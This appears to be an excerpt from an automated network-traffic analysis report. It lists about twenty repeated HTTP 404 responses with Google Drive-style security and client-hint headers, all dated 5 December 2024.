1652X-GUploader-UploadID: AFiumC52lRl0BAbwzBOtCsXddeyg2kb6CIFHKF-qJob6L2FVEU2-issyX3V-lmNN3Yj4GmqKNQMServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:22 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-GzDdEWLqXff1-iz8Jyt7EA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5SVYxu5AeAOb7k84LwyP1IEpsPlvZr77S5ZxywjVwEYRpZbo-X1Rz-y30wNg6fPes414ufLA1JjAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:22 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-P1Gjm9-apBZgJWiVshbtRA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC7MiTJ6-yj9W3HPwInSK7UQ_LddLUccqeoy_7rW7mdWdU0jKXDZ26nNQA8UTk4TqkpykjlnDK31iQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:28 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-puX6NeV83UEqDdVFkFmARA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC5wqPbg1egaa4YtA5zmd4o6jqmnYRcdwU58hLiPWqwe5pGm7PGzhlA5DESdKdodgBNrCFRSf9rxlwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:28 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-Uh0cY6oCwakI19WrSnt1Hw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC7WK3fzxvt4CibpfCBFfqhW1m4-Tj-kp1ae2WJPx9P8IuOynuWGIXC7kas7Cxh9LF9xitEpMWOrhwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:37 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-w82ur38pW2krABa8HzMP1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC69M-NMgDlXqK1g0sUKYs2WYQTuLx48DLfasWaH11ZlU3fNXQ0PnhdWWEFjf-GY3hqiKNrEzzO1NQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:38 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-b9t4J7Cuj5Xvov3JTk_5rg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC50sLzsh3_a-hp-fk42YV4ONlSaepi7lZDT-gJa_A8CQLwRA7GKL9HXulZm6PeNIml_seatVZ8g8QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:43 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-wi8LYoRJWuDGv_kQTFpaRA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC4cNqrHSC0ZZgKnm4LNryzEF5xB_l5dRYyP3dTnUPL6TvDhbB0S5IQ11mC9lYxVt9uU7TPXSRYQ-AServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:43 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-B078g2b02QdYBt3nf3DnMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5kix53Sv22r2mH7ZWPwYE_ROpWS3bV_c-S3HNLCXfNB1e-IAnNcAyB3Xz2TFuqZjETT9m_wCt1kgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:46 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-WjAR1SsQw4BAV1RX0qgseQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC4mpyr6HoZ-slGDCgCAcomT5GP_M4Wh9wtPyywg6lPjrmTa26rNALhQ_idjDbpeofm1V-7-J_Jd4wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:46 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Mssd9bWS9dju7YfmBXo7bg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5wervi5KdSukTvvQiM73q1rltp-rGmeAvutpgH0uJrxfzCTUu0uPKwjGmVloky8DUo6r4id9W1_QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:49 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MjA9z1nkg5nkQF916myEQA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC4LHJYpacC9Fp2L7vmN0V8plqKfuIekt1irXyqgreAaUPSeqNticr0JyriSs6DVvQBCBAcgp6oc6wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:08 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EkNrofwsgpk5AYzooEmlDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7lGCSpc9G7Ip_HtQSd_ySgSGjRQu6s2i8bwyYjVwqFLBEfDg4mWOPKsNSlVdSfNz8yrt7oO70TPgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:08 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-BnSTzLm9LFvaRP0989DnLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6k9Nk0J6twbCIEffyuR9WfHKcN_ChtTHy4V5nJxZtWjg7itwlBHaUtwsXOJ4DVMaiSA768HpOAUgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:13 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-Q24B_DEF05ZLM8L_j9WxOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC5NbNyuKHYAiAYs8QISDPFwW8spiOo7HzZmPogwbPW9K7u5S4qF6Ch6odO_c_xqNES1b1VDukWRkwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:14 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-aH08S4ZsPl8bSFWmIWZZjw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC6amYN2HSaWL4ssYWeILybIEd-jkrXeM0kw09e65qQyjNGBvgixlrc_sas-5-aLWxM2Phyi557BYQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:23 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-kANk7foD-ap__DTcoPx1Sw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC44MhB5xxycBqTLwFwsyjxLPNRTvTHjzmqPk_hssrnxvTBWfbLacY-BJDq9kkVYZbLuMY84iZ96dAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:23 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MQJAb_akKMxuUwgUb3MDNQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7yc4pepIaL-lS23ZTdMcQ3WO4pVVhfbkDef4AlTBQg_uhctWGXgGO-8jumMrdM4PT6-db4qzi2VAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:29 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-79E0PHppf34bqsANtPPWTw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6LpFaoVAYXQd63s_3YbjjGmkjWNed1XpEyH7AErIIJmULsv5S20IMChwDPfCe95iRgeos3vsiBCAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-cy2uGPwyPFT-bJjivMaAPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC56yo1W2iBwoQRM9kMRepJGCPdOlsLAzOGBNi1RDtJT_C8X4gkN1XTEeWsk87qAo2gW3CRNAiIpHQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:39 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-h61KfVUoKEljnGWs1RAddw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC4tvS3h9HvC0TWD5Bmd-4dAhtYfeFy834rsk8J9OmUU7bP0C8DVzGKd55vnRthLFoW9bg9gR0rrIgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
